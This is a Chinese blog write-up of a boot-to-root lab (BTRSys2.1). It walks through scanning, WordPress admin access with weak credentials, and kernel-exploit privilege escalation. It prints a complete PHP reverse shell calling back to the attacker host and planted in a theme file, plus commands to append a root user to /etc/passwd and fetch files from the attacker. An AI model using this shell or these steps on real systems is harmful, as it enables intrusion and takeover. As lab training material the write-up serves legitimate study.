实战打靶集锦-019-BTRSys2.1

news2024/12/27 2:51:08

提示:本文记录了博主的一次普通的打靶经历

目录

  • 1. 主机发现
  • 2. 端口扫描
  • 3. 服务枚举
  • 4. 服务探查
    • 4.1 FTP服务探查
    • 4.2 Apache服务探查
      • 4.2.1 wpscan扫描
      • 4.2.2 Metasploit神器
      • 4.2.3 手工探查页面
        • 4.2.3.1 Appearance Editor
        • 4.2.3.2 Plugins Editor
  • 5. 提权
    • 5.1 系统信息枚举
    • 5.2 定时任务枚举
    • 5.3 /etc/passwd文件探查
    • 5.4 枚举可执行文件
      • 5.4.1 ntfs-3g提权
      • 5.4.2 ping6提权
    • 5.5 EXP提权
      • 5.5.1 40871.c
      • 5.5.2 41458.c
      • 5.5.3 43345.c
      • 5.5.4 45553.c
      • 5.5.5 45010.c
      • 5.5.6 44298.c
      • 5.5.7 43418.c & 47169.c


1. 主机发现

目前只知道目标靶机在65.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.65.0/24

在这里插入图片描述
锁定目标靶机地址为192.168.65.140。

2. 端口扫描

通过下面的命令进行一下全端口扫描,看一下靶机都开放了哪些端口。

$ sudo nmap -p- 192.168.65.140

在这里插入图片描述
嗯,开的端口不多,等会儿逐个试试看。

3. 服务枚举

通过下面的命令,枚举一下开放的端口上都运行了什么服务。

$ sudo nmap -p21,22,80 -A -sT -sV 192.168.65.140

在这里插入图片描述
也都是一些常规的服务,稍等会儿逐个探查一下看看。

4. 服务探查

4.1 FTP服务探查

直接尝试匿名登录一下看看。

$ ftp 192.168.65.140

在这里插入图片描述
嗯,可以匿名登录,接下来看看FTP上有没有我们感兴趣的内容。
在这里插入图片描述
整个FTP服务下是空的,没有找到任何内容,暂时放一边。

4.2 Apache服务探查

直接用浏览器访问一下看看。
在这里插入图片描述
额,是一个类似于蛇的三维动图,点击以后,会连接到一个/2.gif的三维动图,如下图。
在这里插入图片描述
然后就没有任何其它内容了,还是遍历一下目录吧。

$ dirsearch -u http://192.168.65.140

在这里插入图片描述
内容也不少,逐个进去看看。
首先,通过/CHANGELOG页面可以知道,80端口上运行的是基于Apache的一个叫LEPTON CMS的服务。
在这里插入图片描述
继续往下看,在/INSTALL页面下可以知道,服务用到了PHP和MySQL,并且关闭了PHP的安全模式。
在这里插入图片描述
继续往下,通过/robots.txt可以发现站点下还有个/wordpress目录,跟我们目录枚举的结果是一样的。
在这里插入图片描述
接下来有wordpress的登录页面/wordpress/wp-login.php
在这里插入图片描述
还有wordpress的主页/wordpress。
在这里插入图片描述

4.2.1 wpscan扫描

既然有wordpress服务,那我们就用wpscan扫描一下看看。

$ wpscan --url http://192.168.65.140/wordpress

在这里插入图片描述
发现的内容不少,还是先看看登录页面会不会枚举出用户或者爆破出密码吧。很幸运的是在尝试admin用户的时候,直接通过弱密码admin登录进去了。
在这里插入图片描述
直接省掉了好多事,快速浏览一下wp-admin控制台,可以添加Media,也可以添加Plugins,这样我们就可能通过添加Media构建反弹shell,或者添加有漏洞的Plugin来做进一步的开发。
我们直接吧之前构建的payload.php上传试试看,payload文件的内容如下。

GIF8;
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.65.202';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;


if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

在这里插入图片描述
嗯,上传失败了,没有逃过wordpress的格式检查,后来尝试用zip格式,仍然失败。接下来还是使用一下Metasploit神器吧。

4.2.2 Metasploit神器

先搜索一下关键字wordpress试试看。
在这里插入图片描述
还真是不少,筛选出所有Rank为excellent并且Check为Yes的项,如下。
在这里插入图片描述
结合前面的wpscan搜索结果,序号为11的xmlRPC的漏洞可能是存在的我们先试试看,再不行就安装一个由漏洞的插件。

msf6 > use exploit/unix/webapp/php_xmlrpc_eval
msf6 exploit(unix/webapp/php_xmlrpc_eval) > set PATH /wordpress/xmlrpc.php
msf6 exploit(unix/webapp/php_xmlrpc_eval) > set RHOSTS 192.168.65.140
msf6 exploit(unix/webapp/php_xmlrpc_eval) > set payload payload/cmd/unix/reverse_php_ssl
msf6 exploit(unix/webapp/php_xmlrpc_eval) > run

在这里插入图片描述
失败了,还是看看尝试安装一个有漏洞的plugin吧,这里用一下backup guard。

msf6 > use exploit/multi/http/wp_plugin_backup_guard_rce
msf6 exploit(multi/http/wp_plugin_backup_guard_rce) > show options

在这里插入图片描述
从上面的输出来看,需要安装小于1.6.0版本的插件,在插件管理里面竟然没有搜索到,直接下载(https://downloads.wordpress.org/plugin/backup.1.5.8.zip),然后上传到靶机上。
在这里插入图片描述
这条路子也失败了,貌似不允许创建目录,如下图。
在这里插入图片描述

4.2.3 手工探查页面

到此为止已经黔驴技穷了,实在没有找到合适的突破口,还是回到admin登录后的页面手工仔细点击一下看看吧。
功夫不负有心人,我们在Appearance和Plugins菜单下面都发现了Editor的入口,并且都可以支持编辑php的内容,如下图。
在这里插入图片描述
在这里插入图片描述
这样一来,貌似我们可以直接在编辑php脚本的时候写入反弹shell,接下来我们分别在这两处试一下。

4.2.3.1 Appearance Editor

直接将我们前面的payload.php文件中的<?php ?>中间的内容拷贝到下图中第一个所示的404.php中,注意语法。
在这里插入图片描述
拷进去之后,先不急着保存(防止一保存就自动执行,其实我也不懂,瞎猜的),在kali上开启4444端口的监听,然后再回来点击页面底下的“Update File”按钮。
在这里插入图片描述
提示更新成功了,但是并没有建立反弹shell,我们尝试从浏览器触发一个能够返回404的请求试试(就请求这个192.168.65.140/wordpress/wp-admin/theme-editor.php?file=404.php试试看吧)。

在这里插入图片描述
请求成功了,但是仍然没有反弹,看来光请求没有,得触发http 404才可以,我们请求一下192.168.65.140/wordpress/wp-admin/theme-editorrtrrr.php(这个页面肯定不存在)试试看。

在这里插入图片描述
这次返回404了,但是仍然没有反弹,不应该啊。经过仔细分析,根本原因还是不了解wordpress的themes的机制,这个页面的真实地址应该是http://192.168.65.140/wordpress/wp-content/themes/twentyfourteen/404.php,直接访问这个地址的时候,成功建立的反弹shell。

在这里插入图片描述

4.2.3.2 Plugins Editor

接下来,我们在Plugins的Editor下面通过同样的手法试一下,细节不再赘述,如下图。
在这里插入图片描述
可惜搞了半天也不知道这些内容写进去以后怎么保存,只能放弃,接下来还是好好研究提权吧。

5. 提权

先尝试一下弱密码提权。
在这里插入图片描述
通过下面的命令优化一下shell试试看。

$ /usr/bin/python3.5 -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述
嗯,这次可以了,不存在弱密码。

5.1 系统信息枚举

$ uname -a
$ cat /etc/*-release
$ getconf LONG_BIT

在这里插入图片描述
目标靶机是64位的Ubuntu 16.04.2 LTS版本,内核是4.4.0-62-generic。

5.2 定时任务枚举

在这里插入图片描述
没有我们感兴趣的内容。

5.3 /etc/passwd文件探查

www-data@ubuntu:/$ cat /etc/passwd | grep -v "nologin"

在这里插入图片描述
除了root用户之外,还有一个用户btrisk值得我们注意一下。接下来尝试向passwd文件中写入一个用户试试看。

$ echo "testuser:$1$IbaVSVwa$v6h3hVYDvjI.y0q2Kq0fg.:0:0:root:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
看来想多了,确实没有权限,后面需要的时候爆破一下这个用户。

5.4 枚举可执行文件

先直接用一下sudo -l试试看。
在这里插入图片描述
当前用户不具备直接sudo的权限,需要密码才行。还是枚举一下root用户所有,其它用户可执行的程序吧。

$ find / -type f -user root -perm -o=w 2>/dev/null | grep -v "/sys/" | grep -v "/proc/"

在这里插入图片描述
查询结果竟然是空的,再通过下面的命令试试看。

www-data@ubuntu:/$ find / -user root -perm -4000 2>/dev/null

在这里插入图片描述
这次搜出来了一些,上面标识出来的两个可以重点关注一下。

5.4.1 ntfs-3g提权

google了一下,这个程序确实可以用于提权,主要是基于CVE漏洞CVE-2017-0358。ntfs-3g是一个NTFS读写驱动程序,具备setuid的权限,,该驱动在调用modprobe时没有初始化环境变量,本地用户可以基于这一点进行提权,该漏洞存在于load_fuse_module()函数中。
参照searchsploit里面编号为41356的内容(https://www.exploit-db.com/exploits/41356),先从https://bugs.chromium.org/p/project-zero/issues/detail?id=1072下载对应的ntfs-3g-modprobe-unsafe.tar文件。
通过下面的命令在卡里上启动http服务,用于上传我们下载的tar文件

$ python3 -m http.server 80

通过下面的命令将tar文件下载到目标靶机的/tmp目录下。

www-data@ubuntu:/$ wget http://192.168.65.202/ntfs-3g-modprobe-unsafe.tar -O /tmp/ntfs-3g-modprobe-unsafe.tar

然后执行下面的命令。

www-data@ubuntu:/tmp$ chmod 775 ntfs-3g-modprobe-unsafe.tar
www-data@ubuntu:/tmp$ tar xf ntfs-3g-modprobe-unsafe.tar
www-data@ubuntu:/tmp$ cd ntfs-3g-modprobe-unsafe
www-data@ubuntu:/tmp/ntfs-3g-modprobe-unsafe$ ./compile.sh

在这里插入图片描述
结果在执行编译的时候出错了,在靶机上编译不了,我们用同样的方法,在本地的ubuntu(本地是16.04.7 LTS)上编译试试看。
在这里插入图片描述
在本地的Ubuntu上编译成功了,如上图所示,我们把这整个目录重新打包上传到目标靶机试试看。

www-data@ubuntu:/tmp$ tar xf ntfs-3g-modprobe-unsafe.tar 
www-data@ubuntu:/tmp/ntfs-3g-modprobe-unsafe$ chmod 775 *

在这里插入图片描述
额,执行失败了,可能是漏洞被堵上了,在本地的Ubuntu上试试看。
在这里插入图片描述
确实也是不成功的,看来这个EXP还是有些问题。接下来试试searchsploit里面编号为41240的EXP。

在这里插入图片描述
这个在目标靶机上是提权失败的,需要make工具,靶机上应该是没有,我们在本地Ubuntu上试试看。
在这里插入图片描述
同样是失败的,不纠结了,还是试试ping6吧。

5.4.2 ping6提权

google了一下,没有找到ping6提权的相关记录,暂时放弃,直接跳过。

5.5 EXP提权

没有办法了,还是搜索一下对应的EXP试试看吧。
在这里插入图片描述
对应的内容还是比较多了,逐个试试吧,为了提高效率,每个exp都是先在本地Ubuntu上编译。

5.5.1 40871.c

在这里插入图片描述
第一个40871失败。

5.5.2 41458.c

在这里插入图片描述
嗯,比较幸运,第二个,41458提权成功,进一步验证一下。
在这里插入图片描述
确实提权成功了,获取一下flag。
在这里插入图片描述
额,竟然没有发现flag,然后直接cd到/root目录看看,发现没反应,靶机挂掉了,重启试试,获取flag的过程中必然会挂掉,可能是41458这个EXP提权还有些缺陷。

5.5.3 43345.c

在这里插入图片描述
竟然是上图所示的样子,数字到了2000多都没有结束,在本地的Ubuntu下也是同样的现象,果断放弃。

5.5.4 45553.c

在这里插入图片描述
一开始看着都是很正常的,最终还是失败了,看来还是EXP的原因,在本地Ubuntu上也是同样的现象。

5.5.5 45010.c

接下来试试45010。
在这里插入图片描述
貌似45010也是可以提权成功的,进一步验证一下。
在这里插入图片描述
妥妥的,再次尝试查找一下flag。
在这里插入图片描述
额,还是没有flag信息,不过这次靶机是没有挂掉的,还在正常运行着。会不会跟之前的docker提权一样,放到了/mnt/root下面呢,试试看。
在这里插入图片描述
也是没有的,太异常了,全盘搜索试试看。
在这里插入图片描述
真是见鬼了。先不管了,后面还剩三个EXP,索性都试试吧。

5.5.6 44298.c

在这里插入图片描述
我擦,这个简直是暴力小萝莉啊,进一步试试看。

在这里插入图片描述
顺畅的很

5.5.7 43418.c & 47169.c

在这里插入图片描述
嗯,这个不行,在本地的Ubuntu上也是失败的,再试试最后一个47169。
在这里插入图片描述
也失败了,不纠结了,本次打靶到此为止,遗憾的是一直没找到flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/515765.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

KVM存储池管理与磁盘格式

KVM存储池管理与磁盘格式 KVM必须配置一个目录作为存储磁盘镜像&#xff08;存储卷&#xff09;的目录&#xff0c;我们称这个目录为存储池 存储池管理 默认存储池 /var/lib/libvirt/images/ 创建基于文件夹的存储池&#xff08;目录&#xff09; mkdir -p /data/vmfs定义…

详解MySQL覆盖索引、索引下推

目录 1.覆盖索引 1.1.概述 1.2.聚集索引、非聚集索引 1.3.回表查询 1.4.覆盖索引 2.索引下推 1.覆盖索引 1.1.概述 覆盖索引&#xff0c;是为了避免“回表查询”&#xff0c;从而降低查询耗时的一种使用索引的方法&#xff0c;所以要聊覆盖索引首先我们要知道什么是&qu…

HTB-Busqueda

HTB-Busqueda 信息收集80端口 svcsvc -> root 信息收集 80端口 将ip和searcher.htb添加至/etc/hosts文件。 功能能就是你输入一个值&#xff0c;选择好搜索引擎后点击search&#xff0c;就会生成一个选择的搜索引擎里搜索你输入的值的链接。比如输入aster。 如果勾选了自动…

Github配置SSH密钥连接(附相关问题解决)

Github配置SSH密钥连接&#xff08;附相关问题解决&#xff09; 引言 当前&#xff0c;通过Git在本地仓库和远程仓库&#xff08;如Github&#xff09;之间进行操作&#xff0c;已不再支持密码验证&#xff0c;而是转为通过更安全的SSH密钥验证方式。 因此&#xff0c;本文将…

正态分布线性计算的方差推导(含协方差推导)

推导如下&#xff1a; 由于方差是每个数据与均值离差平方和的均值&#xff1a;即对Σ&#xff08;每个数据-均值&#xff09;再求一次均值&#x1f447;&#xfeff;&#xfeff; 最终Var(X) E(X&#xff09;-E&#xff08;X) 因此&#x1f447; Var(X-Y) E(X-Y)-E(X-Y) …

mysql的主从复制和读写分离

1.mysql主从复制和读写分离的相关知识 1.1 什么是读写分离? 读写分离&#xff0c;基本的原理是让主数据库处理事务性增、改、删操作( INSERT、UPDATE、DELETE) &#xff0c;而从数据库处理SELECT查询操作。数据库复制被用来把事务性操作导致的变更同步到集群中的从数据库。 …

一个用于Allen脑图谱基因数据的工具箱|abagen

艾伦人类脑图谱&#xff08;Allen Human Brain Atlas&#xff09; 艾伦人类脑图谱是一个由艾伦脑科学研究所(Allen Institute for Brain Science)开发的在线基因表达图谱数据库&#xff0c;旨在提供人类大脑各个区域的细胞类型和基因表达信息。这个数据库包含了人类全基因组微…

【C语言】通讯录(文件版)

前言 前面我们完成了通讯录的静态版本和动态版本&#xff0c;虽然功能已经比较完善了&#xff0c;但是前面的通讯录缺少了存储联系人的能力&#xff0c;所以我们学习了文件的操作管理&#xff0c;这里我们就用上一篇文章的知识来完成这次的文章吧。 关于通讯录的前两篇文章我放…

Lecture 15:元学习Meta Learning2

目录 Meta Learning – MAML MAML Reptile Meta Learning – Gradient Descent as LSTM Meta Learning – Metric-based Meta Learning - TrainTest as RNN Meta Learning – MAML Meta Learning&#xff1a;让机器自动找出learning algorithm Meta Learning的三个步骤&…

Oracle的学习心得和知识总结(二十五)|Oracle数据库Real Application Testing之真实应用测试概述白皮书

目录结构 注&#xff1a;提前言明 本文借鉴了以下博主、书籍或网站的内容&#xff0c;其列表如下&#xff1a; 1、参考书籍&#xff1a;《Oracle Database SQL Language Reference》 2、参考书籍&#xff1a;《PostgreSQL中文手册》 3、EDB Postgres Advanced Server User Gui…

从零开始学习vue3.2项目开发

文章目录 参考B站视频&#xff1a;1、vue创建项目和打包1.1 安装node 版本1.2 打开vscode创建vue项目1.3 查看vite和vue版本信息1.4 运行项目1.5 打包项目1.6 安装插件自动导入vue模块1.7 其他&#xff0c;可忽略1.8 解决加载vue时显示的 vite vue字段&#xff08;vue项目初始化…

UNIAPP实战项目笔记67 加入购物车的前端和后端交互

UNIAPP实战项目笔记67 加入购物车的前端和后端交互 思路 前端商品详情页adCart加入购物车时直接发送数据到后端 后端创建接口直接接受前端发过来的数据&#xff0c;更新数据库中该用户的购物车数据 案例截图 代码 后端代码 index.js var express require(express); var rou…

多个pdf怎么合并成一个pdf?教您几招快速合并的方法!

多个pdf怎么合并成一个pdf&#xff1f;通常来说&#xff0c;将多个PDF文件进行合并是非常重要的。在我们日常工作中&#xff0c;我们经常需要使用PDF文件&#xff0c;比如合同、报告等。将多个相关的PDF文件合并成一个更大的文件可以方便我们查看和管理。这样&#xff0c;我们就…

Notion ai进阶【找到属于Notion ai的提示词】

导语&#xff1a;通过一段时间的使用和实验&#xff0c;我发现目前Notion ai的使用带有不同方向&#xff0c;所展示的能力也有所不同&#xff0c;回顾 上篇文章&#xff0c;我们了解到prompt在其中扮演重要角色&#xff0c;而在将Notion ai带入到Discord或其它使用场景下prompt…

重要通知|Sui测试网将于5月11日重置

致Sui社区成员们&#xff1a; 正如之前公告所述&#xff0c;部分社区成员发现测试网可能会定期清除数据并重新启动。鉴于此&#xff0c;我们宣布计划将于2023年5月11日进行首次测试网清除。 对于想要继续读取和访问当前测试网络的社区成员&#xff0c;请使用由Mysten Labs在…

怎么把webp文件转换为jpg?这几种方法值得学习!

怎么把webp文件转换为jpg&#xff0c;我想这样的问题对于那些和图片打交道不多的人来说确实有些困难吧。在我们要处理这个问题之前&#xff0c;我们先来了解一下图片格式webp吧。要是知道Youtube、Gmail、Google Play 中都可以看到 WebP 的身影&#xff0c;而 Chrome 网上商店甚…

Games104现代游戏引擎学习笔记04

渲染管线 显卡&#xff1a; SIMD指令&#xff1a;指令级并行运算。一个指令&#xff0c;4次运算。处理坐标运算&#xff0c;矩阵运算 SIMT&#xff1a;一个指令在多核上&#xff0c;同时做同样的指令操作。 现代显卡放了无数个小小的核。 因此&#xff0c;在做所有的绘制算法…

PCIE设备在设备上枚举过程

根端口枚举 Root Port (RP) 在枚举过程结束时&#xff0c;Root Port (RP)必须设置以下寄存器&#xff1a; Primary Bus, Secondary Bus和Subordinate Bus numbers Memory Base和Limit IO Base和IO Limit Max Payload Size Memory Space Enable bit Endpoint (EP) Endpoint …

Oxygen Feedback Crack

Oxygen Feedback Crack Oxygen Integration为您的社区提供了一种简单有效的互动和提供反馈的方式。它易于配置和集成&#xff0c;并且包括用户友好的界面和许多对评论员和管理员都有用的功能。Oxygen Feedback Enterprise允许您在自己的服务器上安装软件&#xff0c;以便更好地…

【数据结构】线性表之顺序表

目录 一、线性表的定义二、顺序表1. 顺序表的定义2. 顺序表的结构2.1 静态顺序表2.2 动态顺序表 3. 动态顺序表的接口实现3.1 顺序表的接口3.2 接口的实现 三、顺序表总结1. 动态顺序表的优点2. 动态顺序表的缺点 结尾 一、线性表的定义 线性表是 n (n > 0) 个具有相同特性…